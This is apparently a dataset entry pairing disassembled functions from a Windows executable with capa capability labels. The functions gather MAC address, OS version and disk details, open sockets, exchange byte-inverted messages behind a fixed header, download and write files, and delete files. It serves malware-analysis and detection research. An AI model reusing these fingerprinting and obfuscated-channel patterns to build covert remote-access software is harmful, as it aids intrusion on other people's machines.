joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4033ef
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
or dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
xor eax, eax
push 7
mov word [ebp - 0x24], ax
pop ecx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
mov esi, 0x288
push esi
stosw word es:[edi], ax
xor ebx, ebx
call fcn.004142d2
pop ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403460
push dword [ebp - 0x28]
call fcn.0041439c
push dword [ebp - 0x34]
call fcn.004142d2
pop ecx
pop ecx
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x28]
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x40351a
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
cmp eax, ebx
je 0x40351a
jmp 0x403487
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp - 0x40]
inc dword [ebp - 0x2c]
test edi, edi
je 0x40349a
lea esi, [eax + 0x194]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax + 0x1ac]
test esi, esi
je 0x403509
lea edi, [esi + 4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4034ac
sub eax, ecx
cmp eax, 0x10
jle 0x4034bd
push 0x10
pop eax
xor ecx, ecx
test eax, eax
jl 0x4034dd
cmp ecx, eax
jne 0x4034ce
xor edx, edx
mov word [ebp + ecx*2 - 0x24], dx
movsx dx, byte [edi + ecx]
mov word [ebp + ecx*2 - 0x24], dx
inc ecx
cmp ecx, eax
jle 0x4034c5
lea eax, [ebp - 0x24]
push eax
call fcn.004035e6
pop ecx
test eax, eax
je 0x4034ff
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
push 0x10
push dword [eax + ebx*4]
call fcn.00413daa
add esp, 0xc
mov esi, dword [esi]
inc ebx
test esi, esi
jne 0x4034a4
mov eax, dword [ebp - 0x30]
test ebx, ebx
jg 0x40351a
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
test eax, eax
jne 0x403484
cmp dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x3c]
pop edi
pop esi
mov dword [eax], ebx
pop ebx
je 0x403531
push dword [ebp - 0x28]
call fcn.0041439c
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.00413d9b
leave
ret
Function at 0x403767
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push esi
push 0x118
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call fcn.00416400
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x4037eb
cmp dword [ebp - 0x7c], 5
mov eax, dword [ebp - 0x78]
jne 0x4037d5
test eax, eax
jne 0x4037c4
cmp word [ebp + 0x94], 4
jb 0x4037eb
inc esi
cmp eax, 2
jne 0x4037cb
push eax
pop esi
jae 0x4037d2
cmp eax, 1
jne 0x4037eb
push 3
pop esi
cmp dword [ebp - 0x7c], 6
jne 0x4037eb
test eax, eax
jne 0x4037e3
push 4
jmp 0x4037ea
cmp eax, 1
jne 0x4037eb
push 5
pop esi
mov ecx, dword [ebp + 0x9c]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00413d9b
add ebp, 0xa0
leave
ret

Function at 0x403803
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push connect
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x403832
mov edx, esi
jmp 0x403851
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x403848
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x403922
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00416400
add esp, 0xc
cmp dword [0x435f90], 3
lea eax, [ebp - 0x20c]
jne 0x403988
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42d7e4
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00413fb9
add esp, 0xc
pop esi
jmp 0x403994
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x42dd50
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00413d9b
leave
ret

Function at 0x403a29
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x403a71
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x403e4f
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
xor edi, edi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
je 0x403f48
mov esi, 0xc00
push esi
call fcn.0040996b
pop ecx
xor ecx, ecx
push ecx
lea edx, [ebp - 0xc]
push edx
push esi
push eax
push ecx
push ecx
push 0x70050
push dword [ebp + 8]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x403f39
push 0x42de94
call fcn.00401000
mov esi, dword [ebp - 4]
xor eax, eax
pop ecx
add esi, 0x38
mov edx, dword [esi + 0xc]
inc eax
mov dword [ebp + 8], eax
mov eax, dword [esi + 8]
mov cl, 0xa
call fcn.00428980
push edx
mov edx, dword [esi + 4]
push eax
mov eax, dword [esi]
mov cl, 9
call fcn.00428980
push eax
push dword [ebp + 8]
push 0x42dea8
call fcn.00401000
mov eax, dword [esi + 4]
mov ecx, dword [esi]
add esp, 0x14
cmp eax, dword [ebp - 0x14]
jl 0x403f07
jg 0x403efb
cmp ecx, dword [ebp - 0x18]
jbe 0x403f07
mov edi, dword [esi + 8]
mov ebx, dword [esi + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 8]
add esi, 0x90
cmp eax, 4
jl 0x403eba
add edi, dword [ebp - 0x18]
push 0
adc ebx, dword [ebp - 0x14]
push 0x200
push ebx
push edi
call fcn.00418210
push eax
push 0x42dee8
mov dword [ebp - 8], eax
call fcn.00401000
pop ecx
pop ecx
cmp dword [ebp - 4], 0
je 0x403f48
push dword [ebp - 4]
call fcn.00409960
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40403c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00416400
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00403d62
push dword [ebp - 0x214]
call fcn.00403c6c
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4040b4
xor eax, eax
jmp 0x4040bb
push esi
call fcn.00403f70
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413d9b
leave
ret

Function at 0x405182
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x405316
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.004188b0
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x42d848
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.00414593
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x405371
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x405404
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.00414670
push dword [ebp - 0x18]
call fcn.00414892
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.00414670
lea eax, [ebp - 0x80]
call fcn.00405182
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00414ba0
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x4053de
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.004051ad
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00414ba0
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x4053b7
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.00405246
push dword [ebp - 0x18]
call fcn.00414c34
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x405363
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00413d9b
add ebp, 0xff0
leave
ret
Function at 0x40541b
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b8
mov eax, dword [0x434c24]
xor eax, esp
mov dword [esp + 0x9b4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [esp + 0x14], eax
xor eax, eax
push 0x7fe
push eax
mov word [esp + 0x1c0], ax
lea eax, [esp + 0x1c2]
push eax
mov esi, ecx
call fcn.00416400
add esp, 0xc
lea edi, [esp + 0x1b8]
test esi, esi
je 0x40546d
mov edi, esi
xor eax, eax
and dword [esp + 0x10], eax
and dword [esp + 0xc], eax
mov word [edi], ax
lea eax, [esp + 0x28]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4054c1
push 0x42df10
mov esi, 0x3ff
push esi
push edi
call fcn.00413daa
push 0x42df30
push esi
push edi
call fcn.00413fb9
push 0x42df34
push esi
push edi
call fcn.00413fb9
add esp, 0x24
xor eax, eax
jmp 0x405545
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x40548e
push dword [esp + 0x14]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x405559
push dword [esp + 0x14]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 0x14], eax
push 4
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x405559
push 0x42df10
mov esi, 0x3ff
push esi
push edi
call fcn.00413daa
push 0x42df30
push esi
push edi
call fcn.00413fb9
push 0x42df34
push esi
push edi
call fcn.00413fb9
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x405541
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x9bc]
pop edi
pop esi
xor ecx, esp
call fcn.00413d9b
mov esp, ebp
pop ebp
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [esp + 0x20], eax
pop eax
push dword [ebp + 0xc]
mov word [esp + 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x405597
push 0x42df74
jmp 0x40550a
mov dword [esp + 0xc], esi
jmp 0x405541
Function at 0x4055b8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x405635
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x4055df
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x4055d3
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.0040996b
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, 0x436010
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0041ddb0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x405638
cmp eax, dword [ebp - 4]
jne 0x405638
mov dword [ebp - 8], 1
jmp 0x405638
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x405643
push ebx
call fcn.00409960
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x405775
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e4
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push ebx
push esi
mov dword [ebp - 0x868], eax
mov eax, dword [ebp + 0x7c]
push edi
mov dword [ebp - 0x874], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x85c], ax
lea eax, [ebp - 0x85a]
mov esi, ecx
push eax
mov dword [ebp - 0x870], esi
mov ebx, edx
call fcn.00416400
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x85c]
mov dword [ebp - 0x864], edi
cmp ebx, eax
je 0x4057e1
mov dword [ebp - 0x864], ebx
mov edi, ebx
xor ecx, ecx
mov word [edi], cx
mov esi, dword [esi]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x86c], eax
cmp esi, eax
je 0x405947
cmp dword [ebp - 0x868], eax
je 0x405947
push 0xc7
push eax
mov byte [ebp - 0x5c], al
lea eax, [ebp - 0x5b]
push eax
call fcn.00416400
add esp, 0xc
xor ebx, ebx
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x40591f
cmp eax, ebx
je 0x40591f
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.0040996b
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x405932
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x870]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x4058b7
test eax, eax
je 0x4058b7
add ebx, eax
cmp edi, ebx
jg 0x40585c
push 5
pop ecx
cmp ebx, ecx
jl 0x405932
mov edx, dword [ebp - 0x860]
sub ebx, ecx
mov edi, edx
mov esi, 0x436010
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x4058d7
push 0x42df98
push 0x3ff
push dword [ebp - 0x864]
jmp 0x40592a
push 0x42df98
push 0x3ff
push dword [ebp - 0x864]
call fcn.00413daa
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x405932
test ebx, ebx
jle 0x4058e6
lea eax, [edx + 5]
mov ecx, ebx
not byte [eax]
inc eax
dec ecx
jne 0x4058e0
mov esi, dword [ebp - 0x874]
mov eax, dword [esi]
add edx, 5
cmp eax, ebx
jl 0x405906
push ebx
push edx
push dword [ebp - 0x868]
call fcn.0041ddb0
mov dword [esi], ebx
jmp 0x405913
push eax
push edx
push dword [ebp - 0x868]
call fcn.0041ddb0
mov dword [ebp - 0x86c], 1
jmp 0x40592f
push 0x42df98
push 0x3ff
push edi
call fcn.00413daa
add esp, 0xc
cmp dword [ebp - 0x860], 0
je 0x405947
push dword [ebp - 0x860]
call fcn.00409960
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x86c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413d9b
add ebp, 0x70
leave
ret
Function at 0x405af2
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.004188b0
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x405b38
xor eax, eax
jmp 0x405b86
cmp dword [ebp - 0x78], ebx
jbe 0x405b75
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x405b75
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00414e12
add ebx, dword [ebp - 0x80]
add esp, 0x10
mov dword [0x4391fc], ebx
cmp ebx, dword [ebp - 0x78]
jb 0x405b3d
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00414c34
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00413d9b
add ebp, 0xf90
leave
ret

Function at 0x406005
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.00416400
add esp, 0xc
test edi, edi
je 0x4060cb
and dword [ebp - 0x7c], esi
mov ecx, 0x42dca8
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x406050
sub eax, esi
sar eax, 1
je 0x406074
push 0x42d850
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.00414593
add esp, 0xc
jmp 0x4060a8
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x42e028
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00413fb9
push 0x42d850
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00414593
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x4060cb
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.00414e12
push dword [ebp - 0x7c]
call fcn.00414c34
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00413d9b
add ebp, 0x194
leave
ret
Function at 0x4060e3
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.00416400
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x4061be
push edi
mov edi, 0x42d99c
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x406132
sub eax, edx
sar eax, 1
je 0x4061bd
cmp dword [0x435f90], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x40616f
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42d7e4
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00413fb9
add esp, 0xc
jmp 0x406177
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00413fb9
push 0x42d848
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00414593
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x4061bd
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00414ba0
push dword [ebp - 0x78]
call fcn.00414c34
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00413d9b
add ebp, 0x198
leave
ret

Function at 0x4061d7
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x434c24]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.00416400
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x406289
push edi
mov edi, 0x42e028
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x406222
sub eax, edx
sar eax, 1
je 0x406288
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00413fb9
push 0x42d848
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00414593
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x406288
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00414ba0
push dword [ebp - 0x78]
call fcn.00414c34
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00413d9b
add ebp, 0x198
leave
ret
Function at 0x4063b3
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4063d3
mov eax, dword [ebp + 8]
call fcn.0040641e
test eax, eax
je 0x406419
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x406418
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x406411
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x40641e
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406431
xor eax, eax
pop esi
ret
test al, 1
je 0x406438
xor eax, 1
test al, 4
je 0x40643f
xor eax, 4
test al, 2
je 0x406446
xor eax, 2
test al, 0x20
je 0x40644d
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
pop esi
ret

Function at 0x407c62
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x407c6d
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x407d1f
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42fab0]
inc ecx
sub edi, 8
dec esi
jne 0x407c84
pop ebx
test edi, edi
je 0x407d38
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x42fab0]
inc ecx
dec edi
jne 0x407d23
pop esi
not eax
pop edi
ret